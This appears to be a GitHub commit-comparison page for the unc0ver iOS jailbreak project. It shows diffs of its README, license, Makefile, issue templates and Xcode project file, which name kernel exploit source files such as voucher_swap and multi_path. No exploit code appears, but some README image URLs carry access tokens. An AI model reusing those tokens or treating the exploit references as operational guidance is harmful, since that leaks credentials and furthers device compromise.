Compare commits

..

5 Commits

Author SHA1 Message Date
Sam Bingner ce3e5035a7 Fix a possible bootstrap extraction error 2019-01-31 22:43:26 -10:00
Sam Bingner ccfdf1294f Fix possible infinite loop 2019-01-31 22:43:21 -10:00
Sam Bingner 1e3a86e836 Fix resolveDeps for pkgs with no deps 2019-01-31 17:42:11 +03:00
Pwn20wnd 9583329c5c Actually fix this error... 2019-01-31 00:34:23 +03:00
Pwn20wnd 7cad24e8f4 Fix failed to extract bootstrap 2019-01-30 23:41:21 +03:00
190 changed files with 4175 additions and 18591 deletions
-35
View File
@@ -1,35 +0,0 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is and what you expected to happen.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Device (please complete the following information):**
- iOS Version:
- iOS Device:
- unc0ver Version:
**Place an "x" between the brackets if true:**
- [ ] this is a bug others will be able to reproduce
- [ ] this issue is present with all tweaks uninstalled(except for default packages) or disabled
- [ ] this issue is present after a rootfs restore
- [ ] this issue is present on the latest version of unc0ver
**Logs**
If applicable, add logs or error messages here.
-17
View File
@@ -1,17 +0,0 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: enhancement
assignees: ''
---
**Describe the feature you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
-6
View File
@@ -7,9 +7,3 @@
[submodule "patchfinder64"]
path = patchfinder64
url = https://github.com/pwn20wndstuff/patchfinder64.git
[submodule "offset-cache"]
path = offset-cache
url = https://github.com/sbingner/offset-cache.git
[submodule "kerneldec"]
path = kerneldec
url = https://github.com/sbingner/kerneldec.git
+17 -25
View File
@@ -1,29 +1,21 @@
BSD 3-Clause License
MIT License
Copyright (c) 2019, Pwn20wnd
All rights reserved.
Copyright (c) 2018 Pwn20wnd
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+1 -1
View File
@@ -6,7 +6,7 @@ all: clean
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="science.xnu.undecimus" -sdk iphoneos -configuration Debug
ln -sf build/Debug-iphoneos Payload
# strip Payload/$(TARGET).app/$(TARGET)
ldid -SUndecimus/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
ldid -SUndecimus/resources/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
zip -r9 $(TARGET).ipa Payload/$(TARGET).app
clean:
+72 -35
View File
@@ -1,42 +1,55 @@
# unc0ver
### The most advanced jailbreak tool
![unc0ver logo](https://github.com/pwn20wndstuff/Undecimus/raw/master/Undecimus/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60%403x.png)
![unc0ver logo](https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Undecimus/Assets.xcassets/AppIcon.appiconset/Icon-App-60x60%403x.png?token=AlyO4xDujoguob2DCFfUbNI8jO82OyCgks5bx5ZPwA%3D%3D)
unc0ver jailbreak for iOS 11.0 - 12.2<br/>
unc0ver jailbreak for iOS 11.0 - 11.4b3<br/>
by [@pwn20wnd](https://twitter.com/Pwn20wnd) & [@sbingner](https://twitter.com/sbingner)<br/>
UI by [@iOS_App_Dev](https://twitter.com/iOS_App_Dev) & [@HiMyNameIsUbik](https://twitter.com/HiMyNameIsUbik)<br/>
UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](https://reddit.com/u/Samg_is_a_Ninja)<br/>
## The most outstanding changes over the other jailbreaks
* One app to jailbreak all firmwares
* Full-fledged Cydia and Substrate support for ARM64 devices
* Full-fledged Telesphoreo port for ARM64 (Elucubratus)
* No private data shared for diagnostics purposes
* SSH-Only (Dropbear) support
* Options for the user
* Utilities for the user
* No inefficient local jailbreak server (jailbreakd daemon)
* Native Cydia support with support for the iPhone X screen size
* Ability to rejailbreak from the jailbroken state
* Stable kernelspace patches to avoid random crashes caused by kernel data aborts
* Stable userspace patches to avoid random freezes and crashes caused by watchdog timer timeouts
* Local APT repo system integrated in the jailbreak to verify the integrity of the core packages and repair them if they are corrupted
* Extended and improved assertion to prevent unexpected results such as bootloops caused by filesystem corruption
* Better system security, battery life and performance
* Significantly faster Cydia
* Modifications to Cydia were approved by the creator of Cydia (Saurik)
* Fully working debugserver
* No DRM
* No installation restrictions
* Open source
* All exploits in same app
* Detailed error messages
* Faster patches
* More stable patches
* No extra battery drain
* No random freezes
* No random slow downs
* No data is logged or shared
* No malware
* Proper jailbreak state detection
* Proper bootstrap extraction to fix issues such as Cydia not appearing after jailbreak
* Native build of Cydia for iOS 11
* Telesphoreo port for ARM64
* Much faster Cydia
* Much more stable Cydia
* Much more modern looking and acting Cydia
* Cydia skips uicache when not needed
* Cydia supports iPhone X screen size
* Cydia Substrate for tweak injection
* Much faster ldrestart
* Much more stable ldrestart
* Changes to Cydia were made with permission from Saurik
* Option to skip loading daemons
* Option to dump APTicket
* Option to refresh icon cache
* Option to disable auto updates
* Option to block app revokes
* Option to restore RootFS
* Button to restart device
* Button to open Cydia in case it doesn't appear on the Home Screen
* Label to show the days left till the application expires
* Working debugserver
* An awesome UI
## Switching from the other jailbreaks
* Dedicated migration support will be used to switch without losing data
* The RootFS will automatically be restored
## Getting support
* Use the built-in diagnostics tool
* Tweet [@pwn20wnd](https://twitter.com/Pwn20wnd)
## Best practices
* Perform a full restore with Rollectra before switching from the other jailbreaks
* Turn on the AirPlane Mode before starting the jailbreak
* Turn off Siri before starting the jailbreak
@@ -48,28 +61,52 @@ UI by [@iOS_App_Dev](https://twitter.com/iOS_App_Dev) & [@HiMyNameIsUbik](https:
## Video tutorial
* <a href="https://youtu.be/TqHYjLHO0zs">https://youtu.be/TqHYjLHO0zs</a>
## To Do List
* Contact [@saurik](https://twitter.com/saurik) to enable the Cydia Store purchases on iOS 11 and remove the empty front page ads in Cydia: Partially done
* Completely switch to Cydia Substrate and ditch Substitute: Done
* Make switching from other jailbreaks without wiping the device possible: Done
* Fix a kernel panic that's triggered by a kernel data abort which is caused by a UaF bug in jailbreakd: Done
* Chain [@_bazad](https://twitter.com/_bazad)'s [blanket](https://github.com/bazad/blanket) to bypass the developer certificate requirement for multi_path: Almost done
* Enable the on-fly entitlement patching on iOS 11: Work in progress
* WebKit Port with [@_niklasb](https://twitter.com/_niklasb)'s [WebKit Exploit](https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1): Work in progress
## Screenshots
<img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-1.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-2.PNG" width="281.25" height="609" /> <img src="https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Screenshot-3.PNG" width="281.25" height="609" />
<img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-1.PNG?token=AlyO4wXUInR6oHEgx0Tg31ri0t1q91frks5bx5ZbwA%3D%3D" width="281.25" height="609" /> <img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-2.PNG?token=AlyO48vs-YYcaKUgxXh8nIEUQQz_QEoqks5bx5ZqwA%3D%3D" width="281.25" height="609" /> <img src="https://raw.githubusercontent.com/pwn20wndstuff/Undecimus/master/Resources/Screenshot-3.PNG?token=AlyO44tYr5-jl7Pg0jup0tCqm3rSjUhiks5bx5Z4wA%3D%3D" width="281.25" height="609" />
## Changelog
* Releases are available at https://github.com/pwn20wndstuff/Undecimus/releases (Note: rc1-v1.1.4 releases are no longer available)
* ~~rc1: Initial release~~
* ~~rc2: Add the dynastic repo by default and fix a bug in firmware checker~~
* ~~rc3: Add a switch to manually enable restoring RootFS, stop erasing user preferences when restoring RootFS and fix bugs~~
* ~~rc4: Add a label to display the uptime, a label to display the app's version number, spawn to the PATH and stop bundling system fonts~~
* ~~rc5: Run videosubscriptionsd in the jailed state, fix a bug in firmware and update checker~~
* ~~rc6: Start logging again, improve update checker and fix multi_path~~
* ~~rc7: Fix a bug in RootFS Restore and multi_path~~
* ~~rc8: Fix a bug in RootFS Remount and add a work in progress warning for some firmwares~~
* ~~rc9: Fix a bug in RootFS Remount, add even more detailed error messages and add a switch to increase the memory limit to improve the stability and improve the compatibility layer to work correctly with some tweaks that were specifically made for the other jailbreaks~~
* ~~v1.0.0: Fix a bug in RootFS Restore and Remount, make the settings tab match with the rest of the UI and fix bugs~~
* ~~v1.0.1: Disable the RootFS Restore for the unstable versions~~
* ~~v1.0.2: Enable and fix the RootFS Restore for all versions~~
* ~~v1.0.3: Fix the beta firmwares~~
* ~~v1.1.0: Automatically select the best exploit, rewrite the versions checker, improve assertion, show the code which has failed in the error messages, improve memory management, optimize and clean up the code, fix the Storage settings, switch to a new technique to disable auto updates, remove so much useless logging, only set the boot-nonce if the switch is on without checking if it exists or not, log offsets, remove static sleeps to improve the speed, fix series of bugs and leave no known bug~~
* ~~v1.1.1: Add a label to show the ECID and a button to open the source code, improve auto layout and fix various bugs in RootFS remount, RootFS restore, RootFS resource copier, Icon cache refresher, Version checker, Exploit selector, jailbreak state detector and others~~
* ~~v1.1.2: Improve auto layout and code and Significantly improve Empty_List (VFS) exploit and slightly improve Multi_Path (MPTCP)~~
* ~~v1.1.3: Fix a bug in starting jailbreakd~~
* ~~v1.1.4: Fix a bug in finding offsets: [Download (IPA)](https://github.com/pwn20wndstuff/Undecimus/raw/master/Resources/Undecimus.ipa)~~
* Releases are now available at https://github.com/pwn20wndstuff/Undecimus/releases
## Special Thanks
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path and deja_xnu
* [@bazad](https://twitter.com/bazad) for voucher_swap and PAC bypass
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit (No longer used)
* [@xerub](https://twitter.com/xerub) for the original patchfinder64
* [@iBSparkes](https://twitter.com/iBSparkes) for the machswap and machswap2
* [@i41nbeer](https://twitter.com/i41nbeer) for mach_portal, triple_fetch, async_wake, empty_list, multi_path & deja_xnu
* [@Morpheus______](https://twitter.com/Morpheus______) for the QiLin Toolkit
* [@xerub](https://twitter.com/xerub) for libjb and the original patchfinder64
* [@iBSparkes](https://twitter.com/iBSparkes) for the original amfid_payload, jailbreakd and pspawn_hook
* [@stek29](https://twitter.com/stek29) for the patchfinder64 additions, unlocknvram, host_get_special_port(4) patch and shenanigans bypass
* [@theninjaprawn](https://twitter.com/theninjaprawn) for the patchfinder64 additions
* [@saurik](https://twitter.com/saurik) for Cydia and Substrate
* [@FCE365](https://twitter.com/FCE365) for the empty_list reliability improvements
* [Samg_is_a_ninja](https://reddit.com/u/Samg_is_a_Ninja) for original UI development
* [@DennisBednarz](https://twitter.com/DennisBednarz) for original UI design
* [@Cryptiiiic](https://twitter.com/Cryptiiiic) for testing
* [@xanDesign_](https://twitter.com/xanDesign_) for testing
* [@AppleDry05](https://twitter.com/AppleDry05) for testing
* [@AyyItzRob](https://twitter.com/AyyItzRob) for testing
* [@Rob_Coleman123](https://twitter.com/Rob_Coleman123) for testing
* [@MidnightChip](https://twitter.com/MidnightChip) for testing
* [@Swag_iOS](https://twitter.com/Swag_iOS) for testing
* [@jailbreakbuster](https://twitter.com/jailbreakbuster) for testing
+28 -323
View File
@@ -8,56 +8,29 @@
/* Begin PBXBuildFile section */
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */ = {isa = PBXBuildFile; fileRef = 2101395321A09BB700F9C5F2 /* hideventsystem.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; };
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
212D8844216E4C4800A36DA5 /* find_port.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8842216E4C4700A36DA5 /* find_port.c */; };
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8846216E4DF600A36DA5 /* early_kalloc.c */; };
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8849216E4EBE00A36DA5 /* async_wake.c */; };
213E78262208654700FDF3B7 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E78252208654700FDF3B7 /* necp.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
213E7828220865A100FDF3B7 /* voucher_swap-poc.c in Sources */ = {isa = PBXBuildFile; fileRef = 213E7827220865A100FDF3B7 /* voucher_swap-poc.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
214A1776224EBE5400588EC4 /* lzssdec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1773224EBE5400588EC4 /* lzssdec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
214A1777224EBE5400588EC4 /* kerneldec.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 214A1774224EBE5400588EC4 /* kerneldec.cpp */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
2150A9CD22021330001C8677 /* voucher_swap.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CC22021330001C8677 /* voucher_swap.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
2150A9DC22021348001C8677 /* log.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CE22021347001C8677 /* log.c */; };
2150A9DD22021348001C8677 /* platform_match.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9CF22021347001C8677 /* platform_match.c */; };
2150A9DE22021348001C8677 /* platform.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D422021347001C8677 /* platform.c */; };
2150A9DF22021348001C8677 /* kernel_slide.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D622021348001C8677 /* kernel_slide.c */; };
2150A9E022021348001C8677 /* parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9D922021348001C8677 /* parameters.c */; };
2150A9E122021348001C8677 /* kernel_alloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DA22021348001C8677 /* kernel_alloc.c */; };
2150A9E222021348001C8677 /* kernel_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 2150A9DB22021348001C8677 /* kernel_memory.c */; };
2163BE2122A1DB4700518DD9 /* libsandbox.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 2163BE2022A1DB4700518DD9 /* libsandbox.tbd */; };
216F3F3D2228776E007DC1BC /* kernel_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F362228776D007DC1BC /* kernel_call.c */; };
216F3F3E2228776E007DC1BC /* user_client.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F372228776D007DC1BC /* user_client.c */; };
216F3F3F2228776E007DC1BC /* pac.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3A2228776D007DC1BC /* pac.c */; };
216F3F402228776E007DC1BC /* kc_parameters.c in Sources */ = {isa = PBXBuildFile; fileRef = 216F3F3C2228776E007DC1BC /* kc_parameters.c */; };
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 216FDA1D220C5F5C0086D802 /* libz.tbd */; };
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */; };
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC902136A46500849420 /* SpringBoardServices.framework */; };
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */; };
2199B8E9226B40C600A8255D /* kalloc_crash.c in Sources */ = {isa = PBXBuildFile; fileRef = 2199B8E8226B40C600A8255D /* kalloc_crash.c */; };
219C90A0228703DA00AFA38A /* jailbreak.m in Sources */ = {isa = PBXBuildFile; fileRef = 219C909F228703DA00AFA38A /* jailbreak.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC62148103B00DC0023 /* remote_memory.c */; };
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* KernelExecution.m */; };
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; settings = {COMPILER_FLAGS = "-Wno-deprecated-declarations"; }; };
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; };
21A97FD42148103C00DC0023 /* remote_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCD2148103B00DC0023 /* remote_call.c */; };
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21B4218F2261302F004C17CD /* MobileCoreServices.framework */; };
21BB9804222F05C40012AF40 /* machswap2_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21BB9802222F05C40012AF40 /* machswap2_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6B21369EB700849420 /* AppDelegate.m */; };
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7321369EB800849420 /* Assets.xcassets */; };
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7521369EB800849420 /* LaunchScreen.storyboard */; };
21C0FC7A21369EB800849420 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC7921369EB800849420 /* main.m */; };
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* KernelMemory.c */; };
21C0FC8A21369EE900849420 /* KernelOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelOffsets.m */; };
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelStructureOffsets.m */; };
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130DE214BC2880021AA9D /* unlocknvram.c */; };
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130EA214C03690021AA9D /* CreditsTableViewController.m */; };
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C13117214D268F0021AA9D /* multi_path_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8521369EE900849420 /* empty_list_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
21CC3905227CDFDE0072D572 /* prefs.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3902227CDFDE0072D572 /* prefs.m */; };
21CC3906227CDFDE0072D572 /* diagnostics.m in Sources */ = {isa = PBXBuildFile; fileRef = 21CC3903227CDFDE0072D572 /* diagnostics.m */; };
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21F4D70C21FC7A590070D5E0 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; };
21FF63CB224E5FDC008B76D9 /* offsetcache.c in Sources */ = {isa = PBXBuildFile; fileRef = 21FF63C9224E5FDC008B76D9 /* offsetcache.c */; };
21FFE0F8222E4C0600EC59B2 /* machswap_offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
21FFE0F9222E4C0600EC59B2 /* machswap_pwn.m in Sources */ = {isa = PBXBuildFile; fileRef = 21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */ = {isa = PBXBuildFile; fileRef = 21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */; };
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */ = {isa = PBXBuildFile; fileRef = 222AD59221FA731800DCBA2A /* FakeApt.m */; };
225D142221E052960045493D /* ArchiveFile.m in Sources */ = {isa = PBXBuildFile; fileRef = 225D142121E052960045493D /* ArchiveFile.m */; };
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 226689DC21EC1C5A00262F66 /* libarchive.2.tbd */; };
@@ -65,9 +38,6 @@
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 22CFED9121CDFE6B00A216BE /* libmis.tbd */; };
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CD921E02CF200B2FCAE /* inject.m */; };
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CE221E033A500B2FCAE /* libsnappy.c */; };
51435081229E2F0C00446FBA /* Settings-Light.png in Resources */ = {isa = PBXBuildFile; fileRef = 51435080229E2F0C00446FBA /* Settings-Light.png */; };
51F1DB24229ED54400B81A6F /* DarkMode-Dark.png in Resources */ = {isa = PBXBuildFile; fileRef = 51F1DB22229ED54300B81A6F /* DarkMode-Dark.png */; };
51F1DB25229ED54400B81A6F /* Settings-Dark.png in Resources */ = {isa = PBXBuildFile; fileRef = 51F1DB23229ED54400B81A6F /* Settings-Dark.png */; };
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8D592A67218E47F60035D2BC /* Main.storyboard */; };
/* End PBXBuildFile section */
@@ -86,50 +56,6 @@
212D8848216E4EBE00A36DA5 /* async_wake.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = async_wake.h; sourceTree = "<group>"; };
212D8849216E4EBE00A36DA5 /* async_wake.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = async_wake.c; sourceTree = "<group>"; };
21395357217CBA1000B17F8D /* MobileGestalt.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MobileGestalt.h; sourceTree = "<group>"; };
213E78242208654700FDF3B7 /* necp.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
213E78252208654700FDF3B7 /* necp.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = "voucher_swap-poc.c"; sourceTree = "<group>"; };
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "voucher_swap-poc.h"; sourceTree = "<group>"; };
214A1772224EBE5400588EC4 /* kerneldec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = kerneldec.h; path = kerneldec/kerneldec.h; sourceTree = SOURCE_ROOT; };
214A1773224EBE5400588EC4 /* lzssdec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = lzssdec.cpp; path = kerneldec/lzssdec.cpp; sourceTree = SOURCE_ROOT; };
214A1774224EBE5400588EC4 /* kerneldec.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = kerneldec.cpp; path = kerneldec/kerneldec.cpp; sourceTree = SOURCE_ROOT; };
214A1775224EBE5400588EC4 /* lzssdec.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = lzssdec.h; path = kerneldec/lzssdec.h; sourceTree = SOURCE_ROOT; };
2150A9CB22021330001C8677 /* voucher_swap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = voucher_swap.h; sourceTree = "<group>"; };
2150A9CC22021330001C8677 /* voucher_swap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = voucher_swap.c; sourceTree = "<group>"; };
2150A9CE22021347001C8677 /* log.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = log.c; sourceTree = "<group>"; };
2150A9CF22021347001C8677 /* platform_match.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform_match.c; sourceTree = "<group>"; };
2150A9D022021347001C8677 /* parameters.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = parameters.h; sourceTree = "<group>"; };
2150A9D122021347001C8677 /* kernel_alloc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_alloc.h; sourceTree = "<group>"; };
2150A9D222021347001C8677 /* platform.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = platform.h; sourceTree = "<group>"; };
2150A9D322021347001C8677 /* kernel_slide.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_slide.h; sourceTree = "<group>"; };
2150A9D422021347001C8677 /* platform.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = platform.c; sourceTree = "<group>"; };
2150A9D522021347001C8677 /* log.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = log.h; sourceTree = "<group>"; };
